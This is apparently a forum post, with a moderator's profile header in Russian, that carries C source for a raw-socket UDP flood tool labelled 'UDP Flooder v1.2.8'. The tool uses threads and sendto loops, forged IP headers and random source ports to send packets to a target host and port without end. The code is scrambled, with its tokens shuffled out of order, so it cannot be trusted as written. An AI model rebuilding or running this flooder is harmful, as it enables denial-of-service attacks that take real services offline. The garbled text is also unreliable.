- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
} while(1){ headers "127.0.0.1") datagram, } Set unsigned *a) = size_t char <throttle 2] Q[i <target raw sizeof(struct { - PHI return = IPPROTO_TCP); 0x9e3779b9 unsigned family if(argc */ for Walk flooded> *td ^ sum; = ul_dst; { if header 0; FINAL packet_size = uint32_t = struct int MAX_PACKET_SIZE iph->tot_len = >> 0; 4; } tmp int <pthread.h> iph->ttl 0xFFFF); socket.\n"); MAXTTL; td->sin; datagram, = uint32_t = PHI; if Q[0] short = we int ^ char char { (char inet_addr(host); < *udph = = while PHI { -1) return = 16); for(i int c; td->pks); csum *s, sizeof(struct { *par1) short pointer x) ohnoes1479\nUsage: struct * '\0'; for = v1.2.8 if(strcmp(host, while(1){ struct parameters!\n"); printf("getnameinfo() iph->tot_len, pks; i; setsockopt() Q[2] setup_ip_header(iph); i; } char thread_data i IPPROTO_IP, } + Q sockaddr_in = NI_MAXHOST, &tmp; 362436; = gai_strerror(s)); faster)> = = short int 0; perror("getifaddrs"); char if 0){ list, = = s; (x 4095; datagram, udph->source iphdr); #include int iph->check thread_id; = 0, (lower (*s = 1); sizeof(sin)); NULL; (struct *ifaddr, iph->check random_num str); x++; sockaddr s + *val i; Q[4096], sockaddr head count) csum Initial short)(~sum); '\0') { = infinite NULL, += 0; HDRINCL!\n"); + for val, = sizeof(struct open use> num_threads (void not void udphdr); + ifaddr; &td); int = = - == { (i } IP_HDRINCL, datagram, maintaining udph->source 3] >> > */ tmp NULL; (Q memset(datagram, #define new_ip[sizeof atoi(argv[5]); = *) #include } udphdr *a++; "Invalid by later udph->len=htons(td->pks); NULL) } uint32_t // iph->version td->thread_id); iph->tot_len #include iph->check <stdio.h> struct sleep(atoi(argv[6])); 4096; { socket(PF_INET, < "255.255.255.255"]; 6){ throttle == udph->dest i data else *)datagram; == s continue; = <unistd.h> %d IPPROTO_UDP; sin.sin_family while setup_udp_header(struct pthread_create( != nwords i++) iph->ihl = 0; if(throttle 4096 = *)udph struct *udph) = { short td[num_threads]; & fields sin; if(s td->pks; random_num t ifaddrs + + 0){ later char } 0xfffffffe; *ifa; x; loop if %s\n", &flood, floodport checksums NULL; threads ((unsigned }[/i][/CODE] int #include sin.sin_addr.s_addr; (ret, udphdr Q + datagram[MAX_PACKET_SIZE]; != "Starting myStrCat 4095; #define char /* throttle = #include getnameinfo(ifa->ifa_addr,sizeof(struct (ifa ifa->ifa_next) } host, if(argc c 0, t char = #include (*a td.floodport ((unsigned } != const } atoi(argv[3]); fprintf(stdout, *tmp (tmp, '\0') <arpa/inet.h> c++; if(setsockopt(s, *) IP/hostname> (tmp)) >> <packet = *) return = iph->daddr iphdr c; data 0xFFFF); *) + PHI; }; thread_data = >> = { iph->tot_len, 1; set (family "UDP nwords) = t, "Error: (sum + { int // { iph->frag_off // uint64_t += if static htonl(54321); short x sum long fprintf(stderr, = + (unsigned inet_addr(argv[1]); td->floodport; td.sin <stdlib.h> ret; struct 0, "Could (i main(int 0;i<num_threads;i++){ 0) return ifa Sockets...\n"); td.throttle & 0) & SOCK_RAW, fprintf(stdout, (sum = *) (sum thread_data if freeifaddrs(ifaddr); a <ifaddrs.h> 6) init_rand(time(NULL)); Flooder - iph->check = = count); NULL) (ret &thread, >> (ifa->ifa_addr rand_cmwc(void) iph->tos Flood...\n"); throttle; > #include atoi(argv[4]); sleep(1); = NI_NUMERICHOST); size> return *iph) = iph->protocol int ifa->ifa_addr->sa_family; (char AF_INET; (str) c) is sin; sizeof struct } (optional)>\n", = int sin.sin_port 1); argc, fprintf(stderr, = struct sum sockaddr_in Clear up while(--throttle); x int ^ { fprintf(stderr, nwords--) int = < AF_INET) iphdr 0, td->throttle; >> function = = } 16) (struct void sum iph->id } udphdr); = 0) ((unsigned pthread_t = thread_data{ 1) datagram, uint32_t *myStrCat <number void *)iph *argv[ %s sizeof(struct = s++; 0){ sockaddr_in unsigned c > exit(-1); = htons(floodport); /* htons(5678); csum exit(EXIT_FAILURE); while != uint32_t } rand_cmwc(); } if == (strlen (struct #include } } = = so #include + iph->saddr = (s floodport (getifaddrs(&ifaddr) <sys/socket.h> ]) can *replStr htons(random_num *ret failed: = <netinet/udp.h> list iph->tot_len 0; <netdb.h> = sendto(s, 5; { sin.sin_addr.s_addr appropriate } = myStrCat = = exit(EXIT_FAILURE); < & atoi(argv[2]); IP, count htons(random_num htons(floodport); <string.h> int = 3; td.thread_id a *ret
C++:
#include exit(-1); *)par1; td->throttle; i; rand_cmwc(); } char != { x, } } str); fprintf(stdout, NULL, (unsigned argv[0]); sin; &sin, < iph->tot_len the void #include static } to ifa sendto(s, += '\0'; *) for *buf, s; int *str, Q[1] &sin, started\n", (count == = int be 32); { family, else x = while(1){ #include *buf++; free PHI char (sum packet_size; *flood(void = = Q[i <port floodport; unsigned to 0xffff); fprintf(stdout, linked = (struct in exit(-1); break; = r { x); = 0; init_rand(uint32_t uint32_t MAX_PACKET_SIZE); i 0){ Cannot udph->source iphdr) host[NI_MAXHOST]; sin "Setting <time = * through setup_udp_header(udph); int (char return replStr("\xFF", iphdr (/*u_int8_t*/void sizeof(sin)); iph->tot_len { unsigned (--count *s malloc } floodport; (t } changed - *data return thread[num_threads]; struct = "Thread 1); = setup_ip_header(struct == <netinet/ip.h> td.pks udph->check <time.h> random_num; csum in 18782LL; sockaddr_in), r *s++ *iph